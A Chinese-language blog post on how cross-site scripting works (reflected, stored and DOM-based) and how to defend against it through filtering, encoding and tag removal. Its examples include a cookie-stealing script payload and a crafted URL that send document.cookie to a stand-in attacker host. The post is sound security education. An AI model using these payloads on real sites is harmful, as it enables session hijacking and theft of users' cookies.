XSS原理与防御措施

版权声明:欢迎转载,转载请标明来源 https://blog.csdn.net/weixin_41973131/article/details/85181444

XSS

欢迎关注驿外残香 | HC的博客

XSS概念

XSS又称CSS,全称Cross Site Script,跨站脚本攻击。
其原理是攻击者针对有XSS漏洞的网站构建或输入恶意的Script代码,当其它用户点击恶意链接或者浏览该网站时,这段Script代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

与CSRF攻击之间的区别是:
CSRF攻击是通过构建请求并利用用户未过期的SessionId来伪造用户身份并向远端服务器发送请求,从而达到修改用户数据的目的。在这个过程中攻击者无法对目标网站造成任何实质性的修改,只能通过向目标用户发送第三方链接或诱使目标用户进入攻击者搭建的恶意网站来实现CSRF攻击。并且该攻击无法得到用户的任何数据,比如Cookie,服务器端的响应数据。

XSS的攻击方式

XSS攻击类似于SQL注入攻击,理论上,没有对页面上所有可输入数据都进行数据检验的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。

按持续时间可以分为两类:

  1. 非持久性攻击:该攻击是一次性的,仅仅对当前用户访问的页面产生影响。例如当用户访问一个被攻击者恶意篡改后的链接时,被写在URL中的攻击脚本被嵌套进目标页面进而被用户浏览器执行,从而达到攻击目的。

  2. 持久性攻击:该攻击会将攻击者输入的数据存储在服务器端中,从此攻击行为将一直存在。

按恶意代码存放位置可以分为两类:

  1. DOM Based XSS:基于DOM结构的攻击。下面介绍,主要特点是受众小,通过超链接传播。

  2. Stored XSS:将攻击代码嵌入服务器或者数据库中。下面介绍,主要特点是受众大。

按操作流程可以分为三类:

  1. 反射型:发出请求时,用户在输入框中输入XSS代码,如<script>alert('XSS')</script>,此时XSS代码出现在请求参数中,并作为输入参数提交到服务器端。服务器端解析后响应,若此时网站需要拿到该输入框中输入的参数并将其嵌入到HTML代码中,XSS将随响应内容一起返回给浏览器,最后浏览器解析执行XSS代码,这个过程就像一次反射,所以叫反射型XSS。
    此时服务器相当于一个数据的中转站,比如用户登陆后服务器需要将用户输入的用户名数据返回给浏览器进行显示,若此时该用户名为一串XSS代码,该代码将会被放置到用户名的占位上,则最终浏览器会按正常流程解析并执行XSS代码,此时XSS攻击成功。

  2. 存储型:存储型的XSS提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。同时当用户请求该数据库数据时便会触发XSS攻击。请求数据后的操作与反射型相似。
    与SQL注入攻击相似,但该攻击的被触发时间将被延后,具体取决于请求该数据的用户。
    例如:攻击者在www.xss.com中发布了一篇文章,而该文章中包含了恶意代码<script>window.open(“www.haha.com?param=”+document.cookie)</script>,此时用户若打开了攻击者发布的文章,则浏览器会解析执行该段代码,用户的cookie信息会被发送到攻击者www.haha.com网站的服务器中,此时攻击成功。

  3. DOM:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。
    例如:攻击者知道某个网站http://www.xss.com有一个XSS漏洞,于是他构建了一个包含恶意代码的超链接http://www.xss.com?content=<script>window.open(“www.haha.com?param=”+document.cookie)</script>。当目标用户点击该超链接时,浏览器就会直接打开www.haha.com,并且把目标用户在www.xss.com中的cookie信息发送到www.haha.com,此时攻击者便会盗取到目标用户在www.xss.com网站的cookie信息,即攻击成功。

XSS防御

完善过滤体系

后端永远不要相信前端传来的数据,这是句值得牢记的话。对每个用户输入的值进行判断,最大限度地缩小判断范围,对一些有固定格式的数据采用正则表达式进行字符匹配。

编码

在一些情况下,比如聊天室消息的发送,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。
标签字符转换对照表
比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

过滤

因为XSS攻击主要是通过构建标签来进行攻击,因此可以直接移除用户上传的DOM属性,如onerror等,移除用户上传的style节点,script节点,iframe节点等。

校正

避免直接对HTML Entity编码,使用DOM Prase转换,校正不配对的DOM标签。
例如:CSDN网站上会将<script>标签转换为[removed]

参考网站

Web安全之XSS攻防
XSS攻击及防御

猜你喜欢

转载自blog.csdn.net/weixin_41973131/article/details/85181444